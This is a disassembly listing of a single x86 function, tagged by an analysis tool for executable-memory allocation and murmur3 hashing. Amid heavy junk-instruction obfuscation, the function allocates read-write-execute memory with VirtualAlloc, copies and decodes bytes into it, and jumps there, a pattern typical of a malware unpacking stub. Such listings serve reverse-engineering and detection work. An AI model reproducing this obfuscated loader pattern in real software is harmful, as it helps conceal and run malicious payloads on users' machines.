Function at 0x4062a0
Capabilities:
Allocate or change rwx memory
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d0e7
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x468cb0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
stc
mov dword [ebp - 0x14], edi
pushal
pushfd
call fcn.0040e229
rol ecx, 8
xor edi, 0xe6cedf4
sub ecx, eax
xor esi, eax
or ecx, dword [0x467357]
rol ebx, 0x1b
not edx
xor ecx, dword [0x467671]
xor edx, eax
and esi, edi
inc esi
test esi, esp
jo 0x4061fe
mov esi, eax
test eax, ebp
jo 0x4061e8
rol esi, 0x14
mov eax, esi
xchg ebx, eax
mov eax, eax
sub eax, eax
add esi, 0xaf2a47c
and esi, edi
not eax
add ecx, eax
mov ecx, eax
mov ebx, ebp
test ebp, 0x1bd880a3
jo 0x4062b3
ror eax, 0x19
mov ecx, dword [0x4673a8]
mov esi, eax
or esi, 0x36caff68
and esi, edi
mov eax, esp
xor esi, 0x1514b2a
mov esi, eax
mov dword [0x46f1ae], edx
rol eax, 0x1e
and ecx, dword [0x467a8c]
mov ecx, 0x5cdeec
xchg esi, eax
rol edx, 0xc
neg eax
call fcn.004074a8
inc esi
sub dword [0x46f40e], ebx
inc eax
xchg esi, eax
mov dword [0x46f2e4], edi
xchg eax, edx
neg eax
xchg edx, eax
dec edx
mov ebx, dword [0x46a531]
loop 0x406274
xor esi, dword [0x469cf8]
dec esi
mov edx, 0x427640
xor eax, eax
dec eax
mov esi, eax
mov ecx, eax
shr esi, 0x1c
call fcn.00409b80
call fcn.00409b80
ror edx, 0xd
call fcn.0040e600
or dword [0x46f822], 0x4c15ca7
or edx, eax
and esi, edi
test eax, 0x1de929fd
jo 0x4062d9
out dx, al
sbb al, 0xe8
invalid
jmp 0x823cd2fb
and edi, 0x36b460
rol edi, 0x1d
and esi, edi
add ecx, ebx
mov ecx, 0x2b8df3
inc edx
shl esi, 8
add edx, dword [0x4694c4]
inc esi
test eax, eax
jo 0x40631b
mov edi, dword [0x469f24]
neg esi
shr esi, 0xd
mov edi, dword [0x467a26]
sub dword [0x46f2f8], 0x2b6249b0
sub eax, 0x46f2f8
mov al, 0x49
bound ebp, qword [ebx]
mov al, 0x49
bound ebp, qword [ebx]
loop 0x4062ef
add esi, esi
rol edx, 0x1a
mov eax, ecx
and esi, edi
mov ebx, esp
xor esi, eax
neg esi
mov ecx, edx
dec esi
add esi, eax
inc eax
xor ecx, eax
mov ebx, 0x67e8594
sub eax, eax
test esp, ebp
jo 0x406397
dec esi
call fcn.00409b80
rol edx, 0xd
mov eax, eax
not ecx
sub esi, 0x12507dc0
mov ecx, 0x339bf0
cmp byte [eax], al
add cl, al
ret 0x8b0d
inc edi
rol esi, 0x1d
xchg esi, eax
ror eax, 3
rol esi, 0x15
xchg eax, eax
inc edi
neg esi
mov ebx, dword [0x468846]
inc esi
mov byte [esi], al
ror eax, 0x10
shr esi, 0xa
not eax
loop 0x406355
test edx, ebx
jo 0x406315
mov edx, ebp
test eax, ecx
jo 0x406340
mov ecx, edi
or esi, edi
mov esi, eax
test edx, ebx
jb 0x40638f
shr edx, 0x1d
not edi
xor edi, eax
inc edi
add esi, eax
dec eax
or esi, 0x2393a57
mov edi, esp
and eax, 0x587ce60
shr edx, 0x19
dec eax
push edi
cmp bh, byte [ecx]
add cl, byte [ebx + 0x60e081fc]
into
xchg dword [0x4819eac1], eax
add edi, ebp
xor edx, edx
mov eax, 0x5bb8202
mov ecx, 0x22a040
ror eax, 2
dec eax
xchg eax, eax
or ebx, dword [0x469624]
neg edi
call fcn.0040886d
or edx, dword [0x4677b1]
ror esi, 5
inc esi
rol esi, 0x17
loop 0x4063b5
xchg esi, eax
xor eax, 0x3e9fc3a
test esi, esp
jo 0x406368
dec esi
push 0x40
xchg eax, eax
dec edx
sub ecx, dword [0x468f7a]
xor edi, eax
xor edx, dword [0x469afc]
neg ebx
xor ecx, dword [0x469090]
not eax
add dword [0x46f6d5], ecx
xchg eax, edx
xor dword [0x46f6b2], ecx
push 0x3000
sub dword [0x46f7ca], edx
xor eax, eax
xor ecx, dword [0x46a1c2]
sub esi, dword [0x46815f]
ror esi, 0xb
xor ecx, esi
dec ecx
not esi
xor esi, eax
xor ebx, ecx
or dword [0x46f5c0], 0x784e20c
rol eax, 0x1d
call fcn.0040e600
sub edx, dword [0x467aaf]
sub ebx, dword [0x46a530]
add edi, dword [0x469d87]
sub esi, eax
mov dword [0x46f7d8], 0x27ad0ad5
rol ebx, 9
sub dword [0x46f628], 0xf3414e9
call fcn.004039c0
xor dword [0x46f210], 0x31a5e2bb
mov dword [0x46f3e1], edi
push 0x81b
dec eax
ror ebx, 9
or dword [0x46f1f2], esi
sub ebx, dword [0x469148]
xchg edi, eax
xor ebx, eax
rol eax, 0x1f
xor edx, 0x19d44202
xor ecx, dword [0x4670d1]
xor esi, dword [0x467321]
xor ecx, dword [0x468cf2]
xor edx, esi
or dword [0x46f640], ecx
xor edi, ecx
mov dword [0x46f7d3], 0xa31de68
add esi, ecx
xor esi, eax
call fcn.0040e600
xor esi, eax
xchg eax, edx
add dword [0x46f2e0], 0x210d8a6e
mov dword [0x46f19d], 0xb9fdca2
sub dword [0x46f1bc], 0xc367b20
mov dword [0x46f566], ecx
mov dword [0x46f266], esi
push 0
xchg eax, eax
mov dword [0x46f0ca], ebx
neg eax
sub eax, edx
not edi
xor esi, eax
inc edx
ror edx, 0x14
add eax, eax
ror esi, 0x14
call fcn.00409b80
inc edx
mov dword [0x46f634], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x46f3fe], ebx
xor eax, 0xabd81ec
inc edx
xor dword [0x46f6a7], ecx
sub dword [0x46f4f4], edi
sub edi, dword [0x46f964]
mov dword [0x46f7e6], 0x18ad1279
sub edi, dword [0x46ff18]
add cl, al
into
add al, byte [ecx + 0x46f1c035]
add byte [eax + 0x3307c14f], dh
fadd dword [ebx]
sbb eax, 0x46fe28
add edi, esp
xor esi, eax
sub esi, dword [0x46fca0]
sub edx, dword [0x46fb66]
mov dword [0x46f654], ecx
neg eax
add ecx, ebp
mov dword [0x46f49e], edi
xor eax, edi
sub esi, dword [0x46fb80]
xor eax, edi
sub ecx, ebp
neg eax
mov dword [0x46f2ae], ecx
xor esi, eax
sub edi, esp
xor ebx, eax
rol esi, 2
mov dword [0x46f50a], 0x73491f8
xor dword [0x46f370], ecx
mov dword [0x46f484], ebx
dec edx
xor eax, 0xabd81ec
sub dword [0x46f47f], edx
call 0x4065db
sub edi, edx
ror edx, 6
inc eax
rol esi, 0x10
dec esi
neg esi
dec ecx
xchg eax, esi
sub edx, eax
call fcn.00407c3f
add byte [ecx], dh
sbb eax, 0x46f0e1
sub dword [0x46f316], edx
call fcn.00405f19
add edx, eax
xchg eax, esi
inc ecx
neg esi
inc esi
ror esi, 0x10
dec eax
rol edx, 6
add edi, edx
pop esi
xchg edx, edx
sub edx, dword [0x46f849]
call fcn.00407c3f
mov dword [0x46f794], 0x2f9610
sub ebx, dword [0x46ffc2]
add byte [ebx], ch
invalid
call fcn.00404b02
xor eax, 0x603fdf4
sub eax, edx
sub dword [0x46f540], 0x1ba70d8
sub esi, edi
not esi
xor eax, 0x26115258
and dword [0x46f2d4], esi
xor esi, 0x752e660
xchg esi, edx
not esi
mov dword [0x46f3a5], 0x2f95c7f2
xor ecx, esi
not esi
not esi
xor ecx, esi
or dword [0x46f17e], 0x2c1bd22
not esi
xchg esi, edx
xor esi, 0x752e660
mov dword [0x46f3bc], ebx
xor eax, 0x26115258
not esi
add esi, edi
add eax, edx
xor eax, 0x603fdf4
call fcn.00405f04
add esi, eax
xchg edx, edx
add esi, 0x308
rol esi, 0x11
neg ecx
xchg eax, edx
xor ebx, esp
xor esi, dword [0x46f83c]
xor ecx, dword [0x46fa8e]
add ebx, dword [0x46fca8]
or dword [0x46f456], ecx
xor dword [0x46f2a4], 0xa4ea1c0
add ebx, esi
xor eax, 0xa91d637
rol esi, 2
not esi
ror eax, 0x1f
call fcn.004076a1
xor ebx, ecx
call fcn.0040333c
ror eax, 0xe
call fcn.004012b6
inc eax
xor eax, esp
dec esi
inc esi
xor eax, esp
dec eax
call fcn.00405253
rol eax, 0xe
call fcn.00402c23
xor ebx, ecx
rol eax, 0x1f
not esi
ror esi, 2
xor eax, 0xa91d637
sub ebx, esi
mov dword [0x46f102], ecx
xor ebx, esp
xchg eax, edx
neg ecx
ror esi, 0x11
mov edi, eax
add edi, esi
mov dword [0x46f4b4], ecx
ror esi, 0xf
or dword [0x46f3d0], 0x720c61c
xchg ebx, eax
ror edi, 7
call fcn.004021da
rol ecx, 0x13
xor esi, 0x6e69190
call fcn.00402c23
xor edx, eax
sub dword [0x46f234], 0x7083480
xor ecx, 0xc91d7ac
dec eax
xchg esi, eax
mov dword [0x46f254], edi
sub ecx, dword [0x46f94a]
ror edx, 0x1e
neg esi
xor esi, eax
xor esi, eax
neg esi
rol edx, 0x1e
xchg esi, eax
inc eax
xor ecx, 0xc91d7ac
xor edx, eax
call fcn.00407c3f
xor esi, 0x6e69190
ror ecx, 0x13
call fcn.004074a8
rol edi, 7
xchg ebx, eax
rol esi, 0xf
mov dword [0x46f681], ebx
sub edi, esi
mov ecx, 0x81b
rol eax, 0xc
not esi
sub edx, eax
sub edx, dword [0x46fb22]
inc esi
xor esi, eax
xor ebx, dword [0x46fbe2]
not eax
ror ecx, 0x10
xor esi, esp
xor edx, eax
xor edx, eax
xor esi, esp
rol ecx, 0x10
not eax
xor esi, eax
dec esi
add edx, eax
not esi
ror eax, 0xc
rep movsb byte es:[edi], byte [esi]
xor esi, eax
sub ecx, dword [0x46fe86]
call fcn.0040597a
xchg edx, eax
mov dword [0x46f7b6], 0x332c22a0
xor esi, eax
xor ecx, dword [0x46f9d7]
ror eax, 0x14
xor edx, dword [0x46f846]
ror esi, 0x1d
xor esi, eax
add ecx, dword [0x46fddb]
xor edx, dword [0x46f9d2]
or dword [0x46f4d5], 0x10b24d68
ror eax, 9
inc eax
call fcn.004074a8
xor esi, eax
mov dword [0x46f75d], 0xd269f39
inc eax
xor edx, edi
not ebx
not ebx
xor edx, edi
dec eax
xor esi, eax
dec eax
rol eax, 9
or dword [0x46f59d], 0xd8bec0
xor esi, eax
rol esi, 0x1d
rol eax, 0x14
xor esi, eax
sub dword [0x46f59c], 0x1c335ed0
xchg edx, eax
call fcn.0040456b
xor esi, eax
jmp eax